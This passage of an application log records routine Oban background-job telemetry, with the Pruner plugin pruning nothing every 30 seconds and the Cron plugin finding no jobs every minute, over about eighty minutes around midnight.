{"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:47.813 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:00.951 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:48:17.814 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:47.815 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:00.952 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:49:17.816 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:47.817 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:00.953 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:50:17.818 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:47.819 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:00.954 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:51:17.821 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:47.822 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:00.955 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:52:17.823 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:47.824 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:00.956 [info] {"source":"oban","duration":323,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:53:17.825 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:47.827 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:00.957 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:54:17.828 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:47.829 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:00.958 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:55:17.830 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:47.831 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:00.959 [info] {"source":"oban","duration":157,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:56:17.832 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:47.833 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:00.960 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:57:17.835 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:47.836 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:00.961 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:58:17.838 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:47.840 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:00.962 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:59:17.841 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:47.842 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:00.963 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:00:17.843 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:47.844 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:00.964 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:01:17.845 [info] {"source":"oban","duration":821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:47.846 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:00.965 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:02:17.847 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:47.848 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:00.966 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:03:17.850 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:47.851 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:00.967 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:04:17.853 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:47.854 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:00.968 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:05:17.855 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:47.856 [info] {"source":"oban","duration":812,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:00.969 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:06:17.858 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:47.859 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:00.970 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:07:17.860 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:47.861 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:00.971 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:08:17.862 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:47.863 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:00.972 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:09:17.864 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:47.865 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:00.973 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:10:17.866 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:47.867 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:00.974 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:11:17.868 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:47.869 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:00.975 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:12:17.870 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:47.871 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:00.976 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:13:17.873 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:47.875 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:00.977 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:14:17.876 [info] {"source":"oban","duration":832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:47.878 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:00.978 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:15:17.879 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:47.880 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:00.979 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:16:17.881 [info] {"source":"oban","duration":830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:47.882 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:00.980 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:17:17.883 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:47.884 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:00.981 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:18:17.885 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:47.887 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:00.982 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:19:17.889 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:47.890 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:00.983 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:20:17.891 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:47.892 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:00.984 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:21:17.894 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:47.895 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:00.985 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:22:17.896 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:47.898 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:00.986 [info] {"source":"oban","duration":276,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:23:17.899 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:47.900 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:00.987 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:24:17.901 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:47.902 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:00.988 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:25:17.903 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:47.904 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:00.989 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:26:17.905 [info] {"source":"oban","duration":851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:47.907 [info] {"source":"oban","duration":788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:00.990 [info] {"source":"oban","duration":333,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:27:17.909 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:47.910 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:00.991 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:28:17.911 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:47.912 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:00.992 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:29:17.913 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:47.914 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:00.993 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:30:17.915 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:47.917 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:00.994 [info] {"source":"oban","duration":264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:31:17.918 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:47.919 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:00.995 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:32:17.920 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:47.922 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:00.996 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:33:17.923 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:47.924 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:00.997 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:34:17.925 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:47.926 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:00.998 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:35:17.928 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:47.929 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:00.999 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:36:17.930 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:47.931 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:01.000 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:37:17.932 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:47.933 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:00.001 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:38:17.934 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:47.935 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:00.002 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:39:17.936 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:47.937 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:00.003 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:40:17.938 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:47.938 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:00.004 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:41:17.940 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:47.941 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:00.005 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:42:17.942 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:47.943 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:00.006 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:43:17.944 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:47.945 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:00.007 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:44:17.946 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:47.948 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:00.008 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:45:17.949 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:47.950 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:00.009 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:46:17.952 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:47.953 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:00.010 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:47:17.954 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:47.955 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:00.011 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:48:17.956 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:47.958 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:00.012 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:49:17.960 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:47.961 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:00.013 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:50:17.962 [info] {"source":"oban","duration":788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:47.964 [info] {"source":"oban","duration":838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:00.014 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:51:17.966 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:47.967 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:00.015 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:52:17.968 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:47.969 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:00.016 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:53:17.970 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:47.971 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:00.017 [info] {"source":"oban","duration":155,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:54:17.972 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:47.973 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:00.018 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:55:17.974 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:47.975 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:00.019 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:56:17.976 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:47.977 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:00.020 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:57:17.978 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:47.979 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:00.021 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:58:17.980 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:47.981 [info] {"source":"oban","duration":788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:00.022 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:59:17.983 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:47.984 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:00.023 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:00:17.985 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:47.986 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:00.024 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:01:17.987 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:47.988 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:00.025 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:02:17.989 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:47.990 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:00.026 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:03:17.991 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:47.992 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:00.027 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:04:17.993 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:47.994 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:00.028 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:05:17.996 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:47.997 [info] {"source":"oban","duration":814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:00.029 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:06:17.999 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:48.000 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:00.030 [info] 